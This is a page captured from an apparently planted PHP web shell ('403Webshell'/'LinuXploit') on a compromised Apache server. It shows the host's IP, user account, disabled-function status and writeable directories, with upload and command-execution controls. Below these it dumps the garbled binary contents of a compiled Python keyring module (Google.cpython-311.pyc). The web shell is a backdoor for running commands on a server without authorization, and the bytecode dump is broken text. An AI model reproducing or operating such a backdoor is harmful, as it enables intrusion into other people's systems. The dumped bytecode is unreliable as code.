403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyrings/alt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyrings/alt/__pycache__/Google.cpython-311.pyc
�

<&c�0���ddlmZddlZddlZddlZddlZddlZddlZddlZ	ddl	Z
n#e$rYnwxYwddlm
Z
ddlmZddlmZddlmZddlmZdd	lmZGd
�dej��ZGd�d
e��ZGd�de��ZdS)�)�absolute_importN)�
properties�)�keyczar)�errors)�credentials)�KeyringBackend)�ExceptionRaisedContextc�"��eZdZdZ�fd�Z�xZS)�EnvironCredentialzBRetrieve credentials from specifically named environment variablesc�Z��tt|���dd��dS)N�GOOGLE_KEYRING_USER�GOOGLE_KEYRING_PASSWORD)�superr�__init__��self�	__class__s ��5/usr/lib/python3/dist-packages/keyrings/alt/Google.pyrzEnvironCredential.__init__s6���
���&�&�/�/�!�#<�	
�	
�	
�	
�	
�)�__name__�
__module__�__qualname__�__doc__r�
__classcell__�rs@rrrs>�������L�L�
�
�
�
�
�
�
�
�
rrc���eZdZdZdZdZdZdZdddefd�Z	e
jd	���Ze
d
���Zd�Zd�Zd
�Zed���Zed���Zed���Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZdS)�DocsKeyringz�Backend that stores keyring on Google Docs.
    Note that login and any other initialisation is deferred until it is
    actually required to allow this keyring class to be added to the
    global _all_keyring list.
    �
GoogleKeyringrr���NTc�
�||_||_||_||_||_||_d|_|s)tjj	�
��|_n||_||j_d|j_d|_
dS)NT)�
credential�crypter�source�_collection�
can_create�input_getter�
_keyring_dict�gdata�docs�service�DocsService�_client�ssl�_login_reqd)rr"r$r#�
collection�clientr&r's        rrzDocsKeyring.__init__/s���%���������%���$���(���!����	"� �:�-�9�9�;�;�D�L�L�!�D�L�$������������rc��|���std���tj��std���dS)NzRequires gdatazRequires keyczar�)�
_has_gdata�RuntimeErrorr�has_keyczar)�clss r�priorityzDocsKeyring.priorityJsH���~�~���	1��/�0�0�0��"�$�$�	3��1�2�2�2��qrc��t��5}tjddd��n#1swxYwYt|��S�N)r
r)r�bool)r7�excs  rr4zDocsKeyring._has_gdataRsu��
#�
%�
%�	���N�N�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���9�9�}�s�
(�,�,c�l�|�|j||��}|r|�|��}|S)z,Get password of the username for the service)�
_get_entry�_keyring�_decrypt)rr+�username�results    r�get_passwordzDocsKeyring.get_passwordXs7���������B�B���	+��]�]�6�*�*�F��
rc���|�|pd��}tj|j��}|�|��}|si}|||<|||<|�|��}||jkr	||_dS||jkr�|�	��\|_
}|�|j||��}|�|||��}	|	|kr	||_dS|	�|	|kr]|�|i��}
||
|<|
||<|�|��}||jkr	||_dStj
d���tj
d|�d|�d����tj
d���)z,Set password for the username of the service�Nz$Failed write after conflict detectedzConflict detected, service:z and username:z- was set to a different value by someone elsezCould not save keyring)�_encrypt�copy�deepcopyr?�get�
_save_keyring�OKr(�CONFLICT�_read�
docs_entryr>r�PasswordSetError)rr+rA�password�keyring_working_copy�service_entries�save_result�keyring_dict�existing_pwd�conflicting_pwd�new_service_entriess           r�set_passwordzDocsKeyring.set_password_s����=�=���R�0�0��#�}�T�]�;�;��.�2�2�7�;�;���	<� �O�,;� ��)�$,���!��(�(�)=�>�>���$�'�!�!�!5�D���F�
�D�M�
)�
)�,0�J�J�L�L�)�D�O�\��?�?�4�=�'�8�L�L�L�"�o�o�l�G�X�N�N�O��(�*�*�%9��"��� �(�O�|�,K�,K�&2�&6�&6�w��&C�&C�#�08�#�H�-�(;��W�%�"�0�0��>�>���$�'�)�)�)5�D�&��F� �1�>�����-�-�BI�'�'�8�8�8�U����
�%�&>�?�?�?rc�:�|�|j||��Sr:)�
_del_entryr?)rr+rAs   r�delete_passwordzDocsKeyring.delete_password�s�����t�}�g�x�@�@�@rc��|j����sY	|j�|jj|jj|jj���n#tjj	$r�tj�d|jj
z��|�d��}|jj|j_|jj|j_|j�|jj|jj|jj|jj|���YnRtjj$rt%jd���tjj$rt%jd���wxYw|jS)Nz
Please visit zAnswer to the challenge? )�
captcha_token�captcha_responsez"Users credential were unrecognizedzLogin Error)r-�GetClientLoginToken�ClientLoginr"rArPr$r)r+�CaptchaRequired�sys�stdout�write�captcha_urlr'�emailr]�BadAuthenticationr�	InitError�Error)r�answers  rr1zDocsKeyring.client�st���|�/�/�1�1�	6�
6���(�(��O�,��O�,��L�'������
�=�0�
�
�
��
� � ��4�<�3K�!K�L�L�L��*�*�+F�G�G��%)�_�%=���"�(,��(@���%���(�(��O�,��O�,��L�'�"&�,�"<�%+�)�������=�2�
M�
M�
M��&�'K�L�L�L��=�&�
6�
6�
6��&�}�5�5�5�
6�����|�s�:A�CE1�"AE1c�Z�|jp$|jj�d��dS)N�@r)r%r"rA�split�rs rr0zDocsKeyring.collection�s(����I�4�?�#;�#A�#A�#�#F�#F�q�#I�Irc�`�|j�!|���\|_|_|jSr:)r(rMrNrns rr?zDocsKeyring._keyring�s+����%�26�*�*�,�,�/�D�O�T�/��!�!rc�b�d}|�|��}|r|�|��}|Sr:)rI)rrTr+rArBrRs      rr>zDocsKeyring._get_entry�s:����&�*�*�7�3�3���	3�$�(�(��2�2�F��
rc��|�|��}|stjd���	||=n"#t$rtjd���wxYw|s||=dSdS)NzNo matching servicez	Not found)rIr�PasswordDeleteError�KeyError)rrTr+rArRs     rrZzDocsKeyring._del_entry�s���&�*�*�7�3�3���	D��,�-B�C�C�C�	:���)�)���	:�	:�	:��,�[�9�9�9�	:�����	&��W�%�%�%�	&�	&s	�1�Ac�>�|sdS|j�|��S�NrE)r#�decrypt�r�values  rr@zDocsKeyring._decrypt��%���	��2��|�#�#�E�*�*�*rc�>�|sdS|j�|��Sru)r#�encryptrws  rrFzDocsKeyring._encrypt�ryrc��d|jzS)Nz%s)�
keyring_titlerns r�_get_doc_titlezDocsKeyring._get_doc_title�s���d�(�(�(rc���ddlm}||jg���}|���|d<d|d<|j�|�����}|js>|jrd}i}�nhtj
|����d|j�d����|jd}d	}	|jj}|d
z
}|j�
d|��}|jdkrtj
d
���|���}|�t"j��r!|t't"j��d�}t)jt-j|�d������}nN#t(j$r}	tj
d|	���d}	~	wt4$r}	tj
d|	���d}	~	wwxYw||fS)Nr��
DocumentQuery��
categories�title�true�title-exactz not found in z and create not permittedrEz&exportFormat=txt�GET��z+Could not read existing Google Docs keyringz
string-escapez/Could not unpickle existing Google Docs keyringz-Could not decode existing Google Docs keyring)�gdata.docs.servicer�r0r~r1�QueryDocumentListFeed�ToUri�entryr&rrh�content�src�request�status�read�
startswith�codecs�BOM_UTF8�len�pickle�loads�base64�urlsafe_b64decode�decode�UnpicklingError�	TypeError)
rr��title_queryr*rNrT�
file_contents�url�server_response�exs
          rrMzDocsKeyring._read�s��4�4�4�4�4�4�#�m���/@�A�A�A��#�2�2�4�4��G��%+��M�"��{�0�0��1B�1B�1D�1D�E�E���z�!	���
�!�
�!����&��*�*�,�,�,�,�d�o�o�o�?����
��A��J��M�
� �(�,���*�*��"&�+�"5�"5�e�S�"A�"A��"�)�S�0�0� �*�E����!0� 4� 4� 6� 6�
� �+�+�F�O�<�<�J�$1�#�f�o�2F�2F�2H�2H�$I�M�%�|��,�]�-A�-A�/�-R�-R�S�S� � �����)�
�
�
��&�E�r���������
�
�
��&�C�R��������
����
�<�'�'s%�6CF�G�F3�3
G�G�Gc��ddl}|j}tjt	j|����}	|jrQdt|��d�}|j�	||j�
��j|���|_n�ddlm
}|dg���}|j|d	<d
|d<|j�|�����}|jr|jd}	n|j�|j��}	t'j|��}
|j|
dt|��d�
��}|j�||���|	���|_n�#|jj$r�}	|jd����d��dkr|j}nZd}
|jd�|
��dkr-|���\}}||kr|j}n|j}n|j}n#t@$r
|j}YnwxYwYd}~nd}~wwxYw|S)z.Helper to actually write the keyring to GooglerNz
text/plain)zContent-TypezContent-Length)�
extra_headersr��folderr�r�r�r��temp)�file_handle�content_type�content_length�	file_name)�
folder_or_uri�reason�conflictr z)Sorry, there was an error saving the file�body)!r)rKr��urlsafe_b64encoder��dumpsrNr�r1�Put�GetEditMediaLink�hrefr�r�r0r�r�r��CreateFolder�io�BytesIO�MediaSource�Uploadr~r+�RequestError�message�lower�findrLrM�FAIL�	Exception)rrTr)rBr�r�r��folder_queryr*�folder_entryr��media_sourcer��msg�new_docs_entry�new_keyring_dicts                rrJzDocsKeyring._save_keyring�s�����������0���l�1K�1K�L�L�
�6	#���
�$0�&)�-�&8�&8�!�!�
�#'�+�/�/�!��O�4�4�6�6�;�"/�#2�#�#����=�<�<�<�<�<� -�}��
�C�C�C��(,���W�%�.4��]�+��{�8�8��9K�9K�9M�9M�N�N���:�M�#'�:�a�=�L�L�#'�;�#;�#;�D�O�#L�#L�L� �j��7�7��0�u�0� +�!-�#&�}�#5�#5�$�	 � � ��#'�+�"4�"4� �$�"5�"5�"7�"7�|�#5�#�#������}�)�	#�	#�	#�
#��:�h�'�-�-�/�/�4�4�Z�@�@�B�F�F�!�]�F�F�F�C��z�&�)�.�.�s�3�3�r�9�9�;?�:�:�<�<�8��(8�+�|�;�;�%)�W�F�F�%)�Y�F�F�!%������
#�
#�
#������
#�������������)	#����.�
s7�EE7�7I�BH �H<� H4�1H<�3H4�4H<�<I)rrrrr}rKr�rL�inputrr�
classpropertyr8�classmethodr4rCrXr[�propertyr1r0r?r>rZr@rFr~rMrJ�rrrr"s���������$�M�	
�B��D��H����� � � � �6�����������[��
���)@�)@�)@�VA�A�A�����X��6�J�J��X�J��"�"��X�"�
���	&�	&�	&�+�+�+�
+�+�+�
)�)�)�+(�+(�+(�Z>�>�>�>�>rrc�,��eZdZdZ�fd�Z�fd�Z�xZS)�KeyczarDocsKeyringzQGoogle Docs keyring using keyczar initialized from environment
    variables
    c����tj��}t��}tj�d��}t
t|���|||��dS)N�GOOGLE_KEYRING_SOURCE)	r�EnvironCrypterr�os�environrIrr�r)rr#r"r$rs    �rrzKeyczarDocsKeyring.__init__EsY����(�*�*��&�(�(�
����� 7�8�8��
� �$�'�'�0�0��V�W�M�M�M�M�Mrc���	td��tt|�����S#t$rYdSwxYw)z�Return if this keyring supports current environment:
        -1: not applicable
         0: suitable
         1: recommended
        zkeyczar.keyczarr )�
__import__rr��	supported�ImportErrorrs �rr�zKeyczarDocsKeyring.supportedKsV���	��(�)�)�)��+�T�2�2�<�<�>�>�>���	�	�	��2�2�	���s�59�
A�A)rrrrrr�rrs@rr�r�@s`���������N�N�N�N�N�
�
�
�
�
�
�
�
�
rr�)�
__future__rr�rbrGr�r�r�r�r�r)r��jaraco.classesrrEr�keyringrr�keyring.backendr	�keyring.errorsr
rrr�r�rr�<module>r�s���&�&�&�&�&�&�	�	�	�	�
�
�
�
�����
�
�
�
�
�
�
�
�	�	�	�	�
�
�
�
�	��������	�	�	��D�	����&�%�%�%�%�%�������������������*�*�*�*�*�*�1�1�1�1�1�1�
�
�
�
�
��5�
�
�
�[�[�[�[�[�.�[�[�[�|����������s�)�1�1

Youez - 2016 - github.com/yon3zu
LinuXploit